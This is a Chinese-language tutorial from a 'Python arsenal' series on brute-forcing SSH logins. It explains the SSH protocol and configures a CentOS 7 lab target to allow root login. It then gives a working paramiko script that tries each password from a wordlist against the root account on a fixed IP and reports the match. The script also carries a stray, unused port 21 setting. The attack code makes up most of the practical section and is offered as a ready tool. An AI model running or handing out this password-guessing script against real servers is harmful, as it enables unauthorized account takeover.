Python武器库开发-武器库篇之SSH服务暴力破解(五十四)
SSH(Secure Shell)是一种加密的网络协议,用于在不安全的网络上提供安全的远程登录和文件传输功能。SSH可以在客户端和服务器之间建立安全的通信连接,确保通信数据的机密性和完整性。
SSH服务的主要功能包括:
-
远程登录:用户可以通过SSH协议在远程主机上执行命令,就像在本地主机上操作一样。
-
文件传输:SSH可以方便地传输文件和目录,支持上传和下载操作。
-
端口转发:SSH可以在远程主机和本地主机之间建立安全的端口转发通道,用于安全访问远程主机上的服务。
-
X11转发:SSH支持X11图形界面的转发,使用户可以在本地主机上远程访问远程主机上运行的图形应用程序。
SSH协议使用公钥加密和密钥交换技术来确保数据的安全性。客户端和服务器之间建立通信连接时,会进行密钥交换过程,以确保通信双方都可以验证对方的身份,并协商出一个用于加密通信的共享密钥。这样,即使在不安全的网络上,也能保证通信的机密性和完整性。
环境准备
首先,我们需要准备一台Centos7机器作为靶机在CentOS 7上配置SSH服务的步骤如下:
- 确保系统已安装OpenSSH软件包。如果没有安装,可以使用以下命令安装:
sudo yum install openssh-server
- 启动SSH服务,使用以下命令启动SSH服务:
sudo systemctl start sshd
- 设置SSH服务开机自启,使用以下命令将SSH服务设置为开机自启:
sudo systemctl enable sshd
- (可选)如果需要修改SSH的默认配置,可以编辑SSH配置文件,使用以下命令打开SSH配置文件:
sudo vi /etc/ssh/sshd_config
在此文件中,您可以修改诸如监听端口、允许的用户、登录选项等等的设置,修改完后保存文件并退出。
我们在此文件中配置登录密码,首先使用文本编辑器(如vi或nano)打开配置文件,在文件中找到#PermitRootLogin的行,并将其取消注释(将#去掉)。在PermitRootLogin的后面添加一个空格和yes,以允许使用root用户登录。例如:PermitRootLogin yes。然后保存并关闭文件。
- (可选)如果有进行了配置文件的修改,需要重新加载SSH配置,使用以下命令重新加载SSH配置:
sudo systemctl reload sshd
- 配置防火墙允许SSH连接。默认情况下,CentOS7使用firewalld进行防火墙配置。如果没有禁用或修改防火墙设置,可以使用以下命令允许SSH连接:
sudo firewall-cmd --zone=public --add-service=ssh --permanent
sudo firewall-cmd --reload
破解代码
接下来我们用python写一段暴力破解SSH服务的代码,代码内容如下:
#!/usr/bin/env python
import paramiko
import socket
import time
host = "192.168.41.147"
#ssh用户
user = "root"
port = 21
passwords = open("PasswordFile.txt").read().split('\n')
def connect_ssh(password):
#ssh客户端
ssh_client = paramiko.SSHClient()
ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh_client.connect(hostname=host,password=password,username=user,timeout=10)
except socket.timeout:
print("连接超时")
return False
except paramiko.AuthenticationException:
print(f"[!] 账户密码错误 {user}:{password}")
return False
except paramiko.SSHException:
print("内部错误,等待重连")
time.sleep(10)
return connect_ssh(password)
else:
print("[+] password found: ",password)
exit(0)
for password in passwords:
if connect_ssh(password):
break
这段代码是一个用于SSH密码破解的脚本。它使用paramiko库来建立SSH连接,尝试使用从"PasswordFile.txt"文件中读取的密码列表进行身份验证。
首先,导入了paramiko
、socket
和time
模块。然后,定义了一些变量,包括要连接的主机IP地址、SSH用户名、端口号和密码文件。
接下来,定义了一个名为connect_ssh
的函数,该函数用于连接SSH并尝试使用给定的密码进行身份验证。函数内部使用了paramiko
模块提供的SSHClient
类进行SSH连接,并在连接过程中处理可能出现的异常情况。如果连接成功,将打印出找到的密码并退出程序。
最后,使用一个循环遍历密码文件中的每一个密码,并调用connect_ssh
函数进行尝试。如果找到了正确的密码,将跳出循环。
运行实验
接下来我们在实际运行这段代码试验一下,如图成功暴力破解出了SSH服务的密码